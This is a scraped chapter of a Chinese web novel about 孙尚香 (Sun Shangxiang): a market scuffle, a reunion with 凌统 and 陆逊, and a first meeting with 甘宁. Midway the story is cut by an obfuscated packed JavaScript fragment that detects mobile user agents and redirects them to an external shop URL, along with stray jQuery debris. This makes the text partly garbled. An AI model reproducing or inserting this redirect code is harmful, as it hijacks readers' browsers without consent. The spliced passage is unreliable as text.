文趣网 > 都市小说 > 孙尚香 > 16. 甘宁
    谢窕亡故后,孙权不愿待在没有谢窕的家中,遂前往江边,亲自监督训练水军。

    期间,还剿灭了山匪和贼寇。

    这一去便是一岁有余。

    这一载多,孙香也体验到了从未有过的自由。除了吴老夫人几乎每日都要见到她,其他时间,她做什么,与什么人来往,吴老夫人只会稍稍过问,并不太较真。

    孙香便常常拉着孙鲁元外出,于集市上行侠仗义;偶尔也会前往丹徒山,带上七八个武婢狩猎、游玩。

    孙香猎到的獐子和鹿,还有一些野兔、山鸡,除了带少部分回孙府,或是当场就炙烤吃掉,剩下的孙香都会寄卖在张屠夫的贩摊上。

    今日,孙香照例拉孙鲁元,领着青荇和红苕去寻张屠夫。

    张屠夫也因为孙香每次一来,自己就会有许多山珍可以售卖,故而喜笑颜开,老远的便主动挥手,打招呼:“郡主又来了?”

    孙香吩咐青荇和红苕把猎物摆放在张屠夫的贩摊上,张屠夫转去贩摊后面,取了一袋钱,递给孙香:“喏,郡主,这是你上次寄卖那些野味的分账。”

    孙香欣然接过,礼貌道:“有劳张叔了。”

    张屠夫赶忙摆手,诚惶诚恐地说着:“小的可不敢当。能和郡主做生意,已是小民几世修来的福气。”

    孙香一脸嗔怪。

    她瞧了一眼张屠夫贩摊上的其他肉品,发现今日的猪小排实在不错,嘴馋了,于是指着道:“张叔,再给我称两斤猪小排带回去。”

    张屠夫爽快地应着:“好嘞。”举起屠刀三下五除二便将猪小排分离出来,用桑皮纸包好,递给孙香身后的青荇。

    红苕从布袋里拿钱。

    张屠夫摆手道:“既是郡主要吃,我怎么好收郡主的钱?”

    孙香则是拿过红苕手中的五铢钱,坚持要递给张屠夫,笑意盎然道:“我是郡主,就更不能白拿张叔你的一分一毫。平日里,张叔帮我卖肉,还坦诚与我分账,已经很感激了。”

    张屠夫掰扯不过,只能收下钱,笑着说:“那好。小民就拜谢郡主大恩。”

    张屠夫说着,还要对孙香施礼,孙香摆了摆手。

    俩人还在谈笑间,不远处的另一菜摊上,说是菜摊,其实就是一乡妪拎着竹篮,摆了些家里的菜在卖。

    另一个青年人,先是问了乡妪,这菜多少钱。等乡妪报了价格,青年先是说给我拿一些,而后等乡妪给他拿好菜,他又挑挑拣拣,说给自己的那些菜不新鲜。蛮横无礼地硬是拿了近半筐菜。

    青年心满意足地起身要离开。

    乡妪匆忙地站起来,去拉他,央求道:“你行行好,老妇一日只有这些菜可以卖,还等卖完了买些肉回家去给小孙子。你若是当真嫌老妇我的菜不新鲜,我不卖你了,把你给的三枚五铢钱都退给你。”

    乡妪去掏钱。

    青年不耐烦地一把推开乡妪:“啰里啰嗦的,别烦爷,爷还忙着呢。你若是不肯做爷的生意,这些钱爷自会拿走。”

    说着,青年不仅拿了乡妪的钱,还没有要将菜奉还的意思。

    乡妪踉跄着身子,更是苦声道:“菜,我的菜。好心的爷,还请你把菜还给老妇。”

    青年却置若罔闻。

    旁边有其他贩摊的摊主看不下去,厉声指责:“小子,你一个年轻人,还有手有脚,怎的好意思抢一个老妪的东西?”

    眼见那摊主就要出来拦青年,恰有一列甲士浩汤而过。两旁的甲卫肃声说着:“大军回城,闲者避让。”

    摊主惶恐,立马又退回去。青年趁机疾跑起来,企图借着混乱,彻底逃脱。

    孙香却是不怕,在青年靠近的时候,一把拦在他身前,揪着他的衣襟说道:“把菜还给乡妪。”

    青年没料想有人会拦自己,再定睛一看,还是个十来岁的女娃娃,当即恶向胆边,猛地使力挥开孙香,并推着孙香身后的孙鲁元往路过的甲士队列,自己继续向前跑去。

    孙鲁元本就柔弱,又一时不察,整个人不偏不倚地倒去。孙香本想飞身去捞孙鲁元,余光瞥见,已有人先自己一步。于是立马转头去追那青年,几乎与她同时,还有另一个灵巧的身影也追上青年。

    孙香与那人的手一齐落在青年的肩上,孙香将青年掀翻在地,那人踩着青年的胸口,命他:“把菜交出来。”

    青年哀嚎着:“我交我交。”

    孙香补充又道:“还要同乡妪请罪。”

    青年迟疑了。转瞬,那人踩青年胸膛的力道更大,青年急忙同意:“我请罪我请罪。”

    那人这才松开脚,从旁边路过的甲士中走出两个人,押着青年去往乡妪面前。

    孙香与那人对望了望。

    俩人不约而同地笑起来。那人先道:“一年多没见,我们孙郡主已经是路见不平的女侠了。”

    孙香则是刚惊喜地唤一声:“凌统!”孙鲁元已是着急忙慌地跑上前,关切询问:“香香,你没事吧?”

    孙鲁元的身后,还跟着那个接住她的人。

    凌统见了孙鲁元恢复淡淡的,向孙鲁元施礼:“小女郎。”

    孙鲁元回礼:“凌将军。”而后,孙鲁元只盯着孙香,等待孙香的回答。

    孙香对她摇了摇头,笑着安慰:“鲁元你放心,我没事。”

    孙香抬眸又望见孙鲁元的身后人。身后人对着孙香也是施礼:“许久不见,郡主。”

    孙香促狭一笑,故作姿态地反也回礼:“孙尚香见过陆先生。”

    陆逊无奈地摇首笑着。孙香按耐不住高兴地又道:“你们回来了?那我次兄呢,他是不是也回来了?这一年半,你们走得太久……”

    末了,孙香有些伤感起来。

    凌统怜惜地望着她,坦诚告诉:“主公已先我们一步去往县府。估摸着处理完县府要务,就会归家。”

    “那你们是要去哪,也是去县府吗?”孙香望望凌统,又望望陆逊。

    一年有余,凌统长高了,黑了,瘦了,五官更加清俊、分明。陆逊倒是差不多一如往昔,除了也瘦点,其他肤色仍旧若玉,整个人看上去还是那么彬彬有礼。

    陆逊回答:“是。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969701|214416||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >孙香想都没想:“那我和你们一起去。我才等不及回家,得先见到我次兄才是。”

    孙香说着,拉着二人就要走。

    二人无奈跟上,孙鲁元也只能跟着。不过,青荇和红苕,孙香嘱咐她们先行回府,顺便告知府中一声,孙权即将归家。

    一路上,四人也算有说有笑。

    孙香问及他们这一年有余的经历,俩人皆是感慨,对于这乱世天下有了更深的体会,也有了更多的作战经验。

    “不过……”凌统嗫嚅一声,原本欣然、快意的面容变得嗔怒、愤懑。

    他没有说下去,末了只是恢复柔和,转移话茬:“这一年多,吴郡还好吗?香香你呢,与老夫人也都好吗?”

    孙香无有不答:“好,都挺好的,只是……”

    孙香也不禁哀伤起来:“母亲很是思念次兄,我、鲁元、长嫂也都是。”

    凌统笑起来,语调上扬,宽慰她:“主公这不是都回来了吗?这么久,他应当想开了,谢夫人作古是无法挽回的事情。除了谢夫人,还有这整个江东的基业,和你们这些亲眷,需要他。”

    孙香坚定地“嗯”着,仿若真的被安慰到。

    等她撇开凌统,靠近陆逊,拉着孙鲁元一起,小声询问陆逊:“陆伯言,凌统他这段时日在外面过得并不好吗?有什么事情,让他连与我们闲谈都无法说出来?”

    陆逊闻言,抬眸望了一眼走在前方,去向府吏通传,孙香她们到了的陆逊,最终,长长地叹了口气:“阿统他……”

    陆逊尚未完全开口,此时,从县府内正大摇大摆走出一个打扮怪异的青年。

    那青年身上有银铃作响,“叮铃铃、叮铃铃……”,头上还用发带别着几根灰白的鸟羽,嘴里哼着不知名的小调。

    长得还行,浓眉大眼,面部轮廓清楚、明晰,就是太过痞气,有种难以驯服的不羁之感。

    凌统望见他,一只手握上腰间的佩剑,另一只手紧握成拳。十指因为使力,甚至发出轻微的“咔嚓咔嚓”声。

    青年对凌统吹了个口哨,凌统的佩剑便是拔出来一半。陆逊赶忙上前,拦在二人中间,皮笑肉不笑地询问:“甘将军这是要出府?”

    被称作“甘将军”的青年,诚然地点点头,轻松地与陆逊说着:“是啊。主公在吴郡给我安排了宅邸,我得先去看看,有没有什么需要修缮、整改地方。”

    “陆将军这是?”青年指了指陆逊身边的孙香和孙鲁元,先是迷茫,而后一副恍然大悟地暧昧笑着,“才刚回来,就去寻自己的心上人,还带来县府吗?”

    孙香、孙鲁元:“……”

    陆逊都不禁窘迫起来:“甘将军误会了,这二位是……”

    “好了。”甘将军打断陆逊,“陆将军不必介绍,我也并不好奇。我赶着去自己的新宅邸,下次有闲暇再叙。”

    甘将军说完,挥了挥手,扬长而去。

    孙香不可思议:“这人谁啊?”多少有些目中无人了。

    凌统冷哼一声。

    陆逊无奈作答:“甘宁,甘兴霸。”